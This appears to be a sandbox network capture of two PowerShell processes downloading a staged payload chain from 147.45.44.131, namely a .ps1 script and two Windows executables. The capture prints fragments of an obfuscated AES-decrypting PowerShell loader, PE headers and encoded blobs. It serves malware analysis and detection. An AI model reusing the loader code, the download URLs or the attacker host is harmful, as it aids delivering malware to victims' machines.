Jan 2, 2025 19:14:15.957684040 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 18:14:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 02 Jan 2025 09:39:17 GMT ETag: "2fdc00-62ab5ef921a41" Accept-Ranges: bytes Content-Length: 3136512 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 ee e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 e8 2f 00 53 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELnf\g// 0@ @0@/S0 0 H.text/ / `.rsrc0/@@.reloc 0/@B/HG<4#Vwd!HAZI1YT8Dc[2njlOs]yx<mt8*B-rIg:mej{Um79;$QWAA0V0yh`4bE=WM&,C:])#lAG8B3O);"L"p<19;YF 8fK?WEw:7i(}jY2]u{1Crh:bvJn5)catiS/r68XNd/xeN[>F$y'E}+iG<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49727	147.45.44.131	80	5512	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 19:14:13.340126991 CET	275	OUT	GET /infopage/iubn.ps1 HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 147.45.44.131 Connection: Keep-Alive
Jan 2, 2025 19:14:13.951271057 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 18:14:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 02 Jan 2025 11:02:00 GMT ETag: "692-62ab7176e913d" Accept-Ranges: bytes Content-Length: 1682 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 0d 0a 24 78 6e 68 43 58 44 20 3d 20 27 37 49 5a 77 45 41 74 6f 6a 32 79 42 37 6e 71 55 4f 44 63 34 63 73 68 37 6c 54 36 32 71 2b 78 74 7a 49 56 61 75 30 35 70 57 75 67 3d 27 0d 0a 24 73 51 55 56 70 68 20 3d 20 27 69 46 41 69 38 65 6a 46 66 4b 70 67 44 51 38 59 39 59 63 31 6b 67 3d 3d 27 0d 0a 24 78 42 41 4f 4a 36 20 3d 20 27 42 59 59 76 48 54 65 50 7a 37 6a 4b 67 64 4c 5a 5a 69 4a 59 64 42 6a 4d 44 65 70 35 59 48 4a 68 4b 69 31 5a 63 44 36 57 52 48 37 4d 43 43 41 30 76 36 61 38 53 61 6d 4a 62 64 39 39 38 36 77 6b 47 37 57 44 46 5a 31 4c 7a 31 68 2b 6a 4e 66 4e 62 32 4f 63 43 73 50 78 37 61 33 6d 69 4a 50 4a 6e 61 6a 48 43 6c 32 50 72 66 76 68 56 35 2b 67 32 79 6e 4d 2f 4e 33 2b 62 42 6e 75 67 5a 74 51 57 71 54 39 69 47 4b 45 45 79 42 59 46 52 48 76 4d 4e 75 45 65 49 53 73 73 4b 39 50 35 50 75 54 71 58 6e 47 53 4a 41 59 35 53 4b 74 75 42 72 33 62 49 47 72 58 67 76 62 44 36 34 33 38 47 2f 52 69 4c 76 41 56 62 74 75 62 42 67 2b 41 6a 55 6a 50 50 71 52 6f 68 65 71 64 33 52 57 64 41 64 30 46 75 77 36 74 [TRUNCATED] Data Ascii: $xnhCXD = '7IZwEAtoj2yB7nqUODc4csh7lT62q+xtzIVau05pWug='$sQUVph = 'iFAi8ejFfKpgDQ8Y9Yc1kg=='$xBAOJ6 = 'BYYvHTePz7jKgdLZZiJYdBjMDep5YHJhKi1ZcD6WRH7MCCA0v6a8SamJbd9986wkG7WDFZ1Lz1h+jNfNb2OcCsPx7a3miJPJnajHCl2PrfvhV5+g2ynM/N3+bBnugZtQWqT9iGKEEyBYFRHvMNuEeISssK9P5PuTqXnGSJAY5SKtuBr3bIGrXgvbD6438G/RiLvAVbtubBg+AjUjPPqRoheqd3RWdAd0Fuw6tbc1izmf2qr//8v0N37ZU2czNGy72ieWxUGjaSdsxkihCw4YzmAoXxnOfjp9PcvRPkiF7jk48y557ClG4KB2SCJppKm4CLjs/ELQLlLz080Yl/jKEcrrChjGtoyt23k+5QsiTD3SRucv4bE29K13Zv5yWdsu0vag5jDFoJewWwJXs8xKpm4KKUE/2PV9Fcgw4W718pvDKv7aa5DInMcuvcSttl9Chq0ZFHiZfOYCI963DVfPurlPSy6yvxEynyfXzcYYJEO44N34cO+LRf7tH8CrFITJubaVvnW/Ou7KjS9o9LRlHEBseLEbOMMPg/vKbrueI6K/KoYb2hL+e9SDk/aeDrY0II0FRFETCaEQnJBfOubpU03wCHQRMMH7iz1NVC/X26gPZWyRRK+RdhthfQQS8LLX'function a10NrR ($o5pQm1, $xnhCXD, $sQUVph) { $4MGiFV = [Convert]::FromBase64String($xnhCXD) $OJ5UPJ = [Convert]::FromBase64String($sQUVph) $T9tJ95 = [Convert]::FromBase64String($o5pQm1) $9mUXlj = [Sys
Jan 2, 2025 19:14:13.951292038 CET	707	IN	Data Raw: 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 2e 41 65 73 5d 3a 3a 43 72 65 61 74 65 28 29 0d 0a 20 20 20 20 24 39 6d 55 58 6c 6a 2e 4b 65 79 20 3d 20 24 34 4d 47 69 46 56 0d 0a 20 20 20 20 24 39 6d 55 58 6c 6a 2e 49 Data Ascii: tem.Security.Cryptography.Aes]::Create() $9mUXlj.Key = $4MGiFV $9mUXlj.IV = $OJ5UPJ $9mUXlj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $S1QRYq = $9mUXlj.CreateDecryptor($9mUXlj.Key, $9mUXlj.IV) $NKtx2h
Jan 2, 2025 19:14:14.063129902 CET	157	OUT	GET /infopage/rwvg1.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131
Jan 2, 2025 19:14:14.243905067 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 18:14:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 02 Jan 2025 10:33:38 GMT ETag: "8a00-62ab6b1fe4fe2" Accept-Ranges: bytes Content-Length: 35328 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a1 69 0e 88 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 80 00 00 00 08 00 00 00 00 00 00 7a 9f 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 9f 00 00 4f 00 00 00 00 a0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 0c 9f 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELi"0z @ `(O H.text `.rsrc@@.reloc@B\H!`}0:(oi+aXi]Xi20(((o(0rpssor>sp~(o&or`sp~(o&o%~(oorsp~(orsp~(oo&((((j(rsp(o*BSJBv4.0.30319l4#~
Jan 2, 2025 19:14:14.243922949 CET	1236	IN	Data Raw: 00 00 34 04 00 00 23 53 74 72 69 6e 67 73 00 00 00 00 d4 07 00 00 08 74 00 00 23 55 53 00 dc 7b 00 00 10 00 00 00 23 47 55 49 44 00 00 00 ec 7b 00 00 74 01 00 00 23 42 6c 6f 62 00 00 00 00 00 00 00 02 00 00 01 57 15 02 00 09 00 00 00 00 fa 01 33 Data Ascii: 4#Stringst#US{#GUID{t#BlobW3PPppQ1148
Jan 2, 2025 19:14:14.243935108 CET	448	IN	Data Raw: 74 69 6f 6e 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 44 65 73 63 72 69 70 74 69 6f 6e 41 74 74 72 69 62 75 74 65 00 43 6f 6d 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f 6e 73 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c Data Ascii: tionAttributeAssemblyDescriptionAttributeCompilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeRuntimeCompatibilityAttributeByteMercado.exeNtilgEncodingSystem.Runtime.VersioningFro
Jan 2, 2025 19:14:14.243978977 CET	1236	IN	Data Raw: 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 43 6f 6d 70 69 6c 65 72 53 65 72 76 69 63 65 73 00 44 65 62 75 Data Ascii: em.DiagnosticsSystem.Runtime.InteropServicesSystem.Runtime.CompilerServicesDebuggingModesget_ReferencedAssembliesMediaTypeNamesGetBytesYnbvksRnvlsGhnvpsCompilerParametersCompilerResultsObjectConvertSystem.TextImglswget_Compiled
Jan 2, 2025 19:14:14.243997097 CET	1236	IN	Data Raw: 00 56 00 58 00 6e 00 55 00 47 00 54 00 55 00 6f 00 6d 00 46 00 6a 00 68 00 6f 00 4e 00 52 00 70 00 41 00 47 00 51 00 64 00 5a 00 47 00 43 00 6c 00 49 00 48 00 41 00 59 00 66 00 4b 00 51 00 56 00 47 00 53 00 67 00 6f 00 6a 00 41 00 53 00 30 00 37 Data Ascii: VXnUGTUomFjhoNRpAGQdZGClIHAYfKQVGSgojAS07UiFmQlUYYF1lLEx9RBQeY21FOiYPWR4MVXopUitJAisBRkomP0scLDJCGFFHEDZHBFMJcURHSiI/EQEt
Jan 2, 2025 19:14:14.244012117 CET	1236	IN	Data Raw: 00 42 00 51 00 65 00 59 00 32 00 31 00 46 00 61 00 68 00 51 00 55 00 57 00 31 00 70 00 57 00 4d 00 6c 00 30 00 30 00 63 00 67 00 42 00 55 00 43 00 54 00 77 00 41 00 64 00 31 00 45 00 74 00 4f 00 51 00 41 00 77 00 4e 00 31 00 6b 00 41 00 59 00 57 Data Ascii: BQeY21FahQUW1pWMl00cgBUCTwAd1EtOQAwN1kAYWhVGGAGSAZMfUQUHmNvIi03L0QeBxRcA0kGUgklEBYSTkdFaGNbDExCVRhgBkgEOjQWQEsiISQkLxRPKR
Jan 2, 2025 19:14:14.244021893 CET	1236	IN	Data Raw: 00 2f 00 41 00 43 00 6b 00 6e 00 56 00 77 00 77 00 46 00 44 00 41 00 46 00 6a 00 48 00 51 00 59 00 4c 00 53 00 51 00 49 00 70 00 41 00 55 00 78 00 4b 00 61 00 6e 00 5a 00 6f 00 51 00 6d 00 4e 00 62 00 44 00 45 00 77 00 53 00 42 00 31 00 45 00 32 Data Ascii: /ACknVwwFDAFjHQYLSQIpAUxKanZoQmNbDEwSB1E2RxxDTDkBWFskLBEtYxlDAw5VfyVSP0kba1BgVjEoBCwAFEIYBw1MBEMEQws8EFEWCiMRGDcJDBgKB10h
Jan 2, 2025 19:14:14.244033098 CET	1236	IN	Data Raw: 00 42 00 52 00 41 00 54 00 44 00 41 00 51 00 57 00 53 00 52 00 72 00 44 00 55 00 73 00 44 00 4c 00 78 00 31 00 77 00 57 00 79 00 38 00 6f 00 41 00 69 00 6b 00 33 00 48 00 67 00 51 00 6c 00 44 00 41 00 46 00 6f 00 4e 00 46 00 52 00 49 00 56 00 68 Data Ascii: BRATDAQWSRrDUsDLx1wWy8oAik3HgQlDAFoNFRIVh4yB1FNMGFFIS0PDA4DBl0BQgxUCS4XGB4xKANoKhVYTAAAXiZDGgpMNApAHiE4Ay4mCX8FGBAUYFQNQE
Jan 2, 2025 19:14:14.244767904 CET	552	IN	Data Raw: 00 48 00 45 00 78 00 67 00 51 00 56 00 41 00 64 00 46 00 43 00 53 00 34 00 58 00 66 00 56 00 41 00 6c 00 49 00 6b 00 55 00 34 00 4d 00 52 00 52 00 50 00 43 00 52 00 45 00 47 00 63 00 53 00 35 00 41 00 42 00 77 00 39 00 58 00 55 00 47 00 34 00 35 Data Ascii: HExgQVAdFCS4XfVAlIkU4MRRPCREGcS5ABw9XUG45NGNtRWgzCUUaAwFdYFUcRxg0BxRsJj4QJSYvRB4HFFwEQwRDCzwQUR4RKBY9Lh54BBAQWSQGVQYgMgVQ
Jan 2, 2025 19:14:14.244870901 CET	1236	IN	Data Raw: 00 37 00 4d 00 68 00 4d 00 43 00 43 00 68 00 63 00 6c 00 46 00 79 00 30 00 69 00 48 00 32 00 38 00 44 00 44 00 41 00 46 00 64 00 4f 00 46 00 4a 00 49 00 47 00 30 00 77 00 52 00 43 00 31 00 56 00 61 00 41 00 6a 00 30 00 4d 00 64 00 42 00 41 00 65 Data Ascii: 7MhMCChclFy0iH28DDAFdOFJIG0wRC1VaAj0MdBAeWDsNAg50cgBUCTwAd1EtOQAwNz9JAAcSWTRDVg4rOBB1TioDBCUmCARFOUVlbAYvQxgcFF1wIiAAO2tS
Jan 2, 2025 19:14:15.686391115 CET	157	OUT	GET /infopage/ersyb.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131
Jan 2, 2025 19:14:15.867197037 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 18:14:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 02 Jan 2025 09:39:17 GMT ETag: "2fdc00-62ab5ef921a41" Accept-Ranges: bytes Content-Length: 3136512 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 ee e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 e8 2f 00 53 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELnf\g// 0@ @0@/S0 0 H.text/ / `.rsrc0/@@.reloc 0/@B/HG<4#Vwd!HAZI1YT8Dc[2njlOs]yx<mt8*B-rIg:mej{Um79;$QWAA0V0yh`4bE=WM&,C:])#lAG8B3O);"L"p<19;YF 8fK?WEw:7i(}jY2]u{1Crh:bvJn5)catiS/r68XNd/xeN[>F$y'E}+iG<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49728	147.45.44.131	80	6508	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 19:14:13.358478069 CET	275	OUT	GET /infopage/iubn.ps1 HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 147.45.44.131 Connection: Keep-Alive
Jan 2, 2025 19:14:13.975610971 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 18:14:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 02 Jan 2025 11:02:00 GMT ETag: "692-62ab7176e913d" Accept-Ranges: bytes Content-Length: 1682 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 0d 0a 24 78 6e 68 43 58 44 20 3d 20 27 37 49 5a 77 45 41 74 6f 6a 32 79 42 37 6e 71 55 4f 44 63 34 63 73 68 37 6c 54 36 32 71 2b 78 74 7a 49 56 61 75 30 35 70 57 75 67 3d 27 0d 0a 24 73 51 55 56 70 68 20 3d 20 27 69 46 41 69 38 65 6a 46 66 4b 70 67 44 51 38 59 39 59 63 31 6b 67 3d 3d 27 0d 0a 24 78 42 41 4f 4a 36 20 3d 20 27 42 59 59 76 48 54 65 50 7a 37 6a 4b 67 64 4c 5a 5a 69 4a 59 64 42 6a 4d 44 65 70 35 59 48 4a 68 4b 69 31 5a 63 44 36 57 52 48 37 4d 43 43 41 30 76 36 61 38 53 61 6d 4a 62 64 39 39 38 36 77 6b 47 37 57 44 46 5a 31 4c 7a 31 68 2b 6a 4e 66 4e 62 32 4f 63 43 73 50 78 37 61 33 6d 69 4a 50 4a 6e 61 6a 48 43 6c 32 50 72 66 76 68 56 35 2b 67 32 79 6e 4d 2f 4e 33 2b 62 42 6e 75 67 5a 74 51 57 71 54 39 69 47 4b 45 45 79 42 59 46 52 48 76 4d 4e 75 45 65 49 53 73 73 4b 39 50 35 50 75 54 71 58 6e 47 53 4a 41 59 35 53 4b 74 75 42 72 33 62 49 47 72 58 67 76 62 44 36 34 33 38 47 2f 52 69 4c 76 41 56 62 74 75 62 42 67 2b 41 6a 55 6a 50 50 71 52 6f 68 65 71 64 33 52 57 64 41 64 30 46 75 77 36 74 [TRUNCATED] Data Ascii: $xnhCXD = '7IZwEAtoj2yB7nqUODc4csh7lT62q+xtzIVau05pWug='$sQUVph = 'iFAi8ejFfKpgDQ8Y9Yc1kg=='$xBAOJ6 = 'BYYvHTePz7jKgdLZZiJYdBjMDep5YHJhKi1ZcD6WRH7MCCA0v6a8SamJbd9986wkG7WDFZ1Lz1h+jNfNb2OcCsPx7a3miJPJnajHCl2PrfvhV5+g2ynM/N3+bBnugZtQWqT9iGKEEyBYFRHvMNuEeISssK9P5PuTqXnGSJAY5SKtuBr3bIGrXgvbD6438G/RiLvAVbtubBg+AjUjPPqRoheqd3RWdAd0Fuw6tbc1izmf2qr//8v0N37ZU2czNGy72ieWxUGjaSdsxkihCw4YzmAoXxnOfjp9PcvRPkiF7jk48y557ClG4KB2SCJppKm4CLjs/ELQLlLz080Yl/jKEcrrChjGtoyt23k+5QsiTD3SRucv4bE29K13Zv5yWdsu0vag5jDFoJewWwJXs8xKpm4KKUE/2PV9Fcgw4W718pvDKv7aa5DInMcuvcSttl9Chq0ZFHiZfOYCI963DVfPurlPSy6yvxEynyfXzcYYJEO44N34cO+LRf7tH8CrFITJubaVvnW/Ou7KjS9o9LRlHEBseLEbOMMPg/vKbrueI6K/KoYb2hL+e9SDk/aeDrY0II0FRFETCaEQnJBfOubpU03wCHQRMMH7iz1NVC/X26gPZWyRRK+RdhthfQQS8LLX'function a10NrR ($o5pQm1, $xnhCXD, $sQUVph) { $4MGiFV = [Convert]::FromBase64String($xnhCXD) $OJ5UPJ = [Convert]::FromBase64String($sQUVph) $T9tJ95 = [Convert]::FromBase64String($o5pQm1) $9mUXlj = [Sys
Jan 2, 2025 19:14:13.975632906 CET	707	IN	Data Raw: 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 2e 41 65 73 5d 3a 3a 43 72 65 61 74 65 28 29 0d 0a 20 20 20 20 24 39 6d 55 58 6c 6a 2e 4b 65 79 20 3d 20 24 34 4d 47 69 46 56 0d 0a 20 20 20 20 24 39 6d 55 58 6c 6a 2e 49 Data Ascii: tem.Security.Cryptography.Aes]::Create() $9mUXlj.Key = $4MGiFV $9mUXlj.IV = $OJ5UPJ $9mUXlj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $S1QRYq = $9mUXlj.CreateDecryptor($9mUXlj.Key, $9mUXlj.IV) $NKtx2h
Jan 2, 2025 19:14:14.066613913 CET	157	OUT	GET /infopage/rwvg1.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131
Jan 2, 2025 19:14:14.248430014 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 18:14:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 02 Jan 2025 10:33:38 GMT ETag: "8a00-62ab6b1fe4fe2" Accept-Ranges: bytes Content-Length: 35328 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a1 69 0e 88 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 80 00 00 00 08 00 00 00 00 00 00 7a 9f 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 9f 00 00 4f 00 00 00 00 a0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 0c 9f 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELi"0z @ `(O H.text `.rsrc@@.reloc@B\H!`}0:(oi+aXi]Xi20(((o(0rpssor>sp~(o&or`sp~(o&o%~(oorsp~(orsp~(oo&((((j(rsp(o*BSJBv4.0.30319l4#~
Jan 2, 2025 19:14:14.248441935 CET	224	IN	Data Raw: 00 00 34 04 00 00 23 53 74 72 69 6e 67 73 00 00 00 00 d4 07 00 00 08 74 00 00 23 55 53 00 dc 7b 00 00 10 00 00 00 23 47 55 49 44 00 00 00 ec 7b 00 00 74 01 00 00 23 42 6c 6f 62 00 00 00 00 00 00 00 02 00 00 01 57 15 02 00 09 00 00 00 00 fa 01 33 Data Ascii: 4#Stringst#US{#GUID{t#BlobW3PPppQ114
Jan 2, 2025 19:14:14.248452902 CET	1236	IN	Data Raw: 06 00 1b 01 38 02 06 00 e7 03 83 02 0a 00 98 03 90 00 0a 00 c4 03 f9 02 0a 00 07 00 46 00 06 00 2f 02 f6 03 06 00 18 02 83 02 06 00 ee 03 83 02 0a 00 d6 02 c5 02 0a 00 a1 02 46 00 06 00 66 02 83 02 0a 00 e9 02 f9 02 0a 00 d7 03 f9 02 06 00 15 04 Data Ascii: 8F/Ff0)AuA{AAyP \| m r!
Jan 2, 2025 19:14:14.248543978 CET	1236	IN	Data Raw: 74 69 6d 65 2e 56 65 72 73 69 6f 6e 69 6e 67 00 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 47 65 74 53 74 72 69 6e 67 00 4b 73 6c 62 6d 71 69 00 4b 6e 76 62 6c 00 50 72 6f 67 72 61 6d 00 53 79 73 74 65 6d 00 4d 61 69 6e 00 53 79 73 74 65 Data Ascii: time.VersioningFromBase64StringGetStringKslbmqiKnvblProgramSystemMainSystem.ReflectionStringCollectionMercadoMethodInfoMicrosoft.CSharpCSharpCodeProviderCodeDomProviderSystem.CodeDom.Compiler.ctor.cctorSystem.DiagnosticsSyst
Jan 2, 2025 19:14:14.248557091 CET	1236	IN	Data Raw: 00 37 00 4c 00 30 00 67 00 65 00 51 00 78 00 34 00 70 00 41 00 55 00 59 00 51 00 46 00 79 00 49 00 73 00 4a 00 6a 00 64 00 4b 00 47 00 6b 00 51 00 55 00 46 00 46 00 51 00 31 00 51 00 30 00 51 00 47 00 48 00 79 00 6b 00 46 00 52 00 6b 00 6f 00 4b Data Ascii: 7L0geQx4pAUYQFyIsJjdKGkQUFFQ1Q0QGHykFRkoKIwEtO1IXYWhVGGAGFStmUG4UHmNtFT0hF0UPQgZMIVIBRUwUCkANcW0mJy0NSR4WIVcJSBwVXnUGTUom
Jan 2, 2025 19:14:14.248569965 CET	1236	IN	Data Raw: 00 55 00 63 00 49 00 66 00 30 00 67 00 35 00 4e 00 47 00 4e 00 74 00 52 00 57 00 68 00 6a 00 57 00 77 00 78 00 4d 00 51 00 6c 00 55 00 59 00 59 00 41 00 51 00 2f 00 53 00 52 00 74 00 72 00 55 00 47 00 64 00 62 00 4e 00 78 00 6b 00 4e 00 4f 00 69 Data Ascii: UcIf0g5NGNtRWhjWwxMQlUYYAQ/SRtrUGdbNxkNOiYaSC8NG0wlXhwEQFBuFB5jbUVoY1sMTEJVGhNDHHIELwFVWgAiCzwmA1hOTngyYAZIBkx9RBQeY21Fah
Jan 2, 2025 19:14:14.248580933 CET	1236	IN	Data Raw: 00 4d 00 52 00 6c 00 73 00 69 00 4b 00 55 00 6c 00 6f 00 4b 00 68 00 56 00 59 00 4e 00 7a 00 39 00 56 00 57 00 79 00 39 00 49 00 48 00 45 00 4d 00 55 00 4b 00 55 00 30 00 50 00 4d 00 30 00 6c 00 74 00 52 00 57 00 68 00 6a 00 43 00 31 00 34 00 46 Data Ascii: MRlsiKUloKhVYNz9VWy9IHEMUKU0PM0ltRWhjC14FFBRMJQYMQwA4A1VKJm0HJywXDD8HAWwoVA1HCB4LWkomNREMJhdJCwMBXWhvBlI8KRYUSis/ACknVwwF
Jan 2, 2025 19:14:14.248591900 CET	520	IN	Data Raw: 00 7a 00 38 00 41 00 4f 00 7a 00 42 00 58 00 44 00 41 00 34 00 62 00 41 00 56 00 30 00 62 00 65 00 30 00 68 00 45 00 47 00 54 00 73 00 43 00 55 00 55 00 78 00 76 00 62 00 51 00 77 00 6d 00 4e 00 31 00 74 00 4f 00 47 00 51 00 51 00 54 00 58 00 54 Data Ascii: z8AOzBXDA4bAV0be0hEGTsCUUxvbQwmN1tOGQQTXTJ1AVwJcURGWyVtDCY3W04VFhBLF1QBUhg4Ch0FTkdFaGNbXB4LA1k0Q0hCCTEBU183KEUqLBRATDAQWS
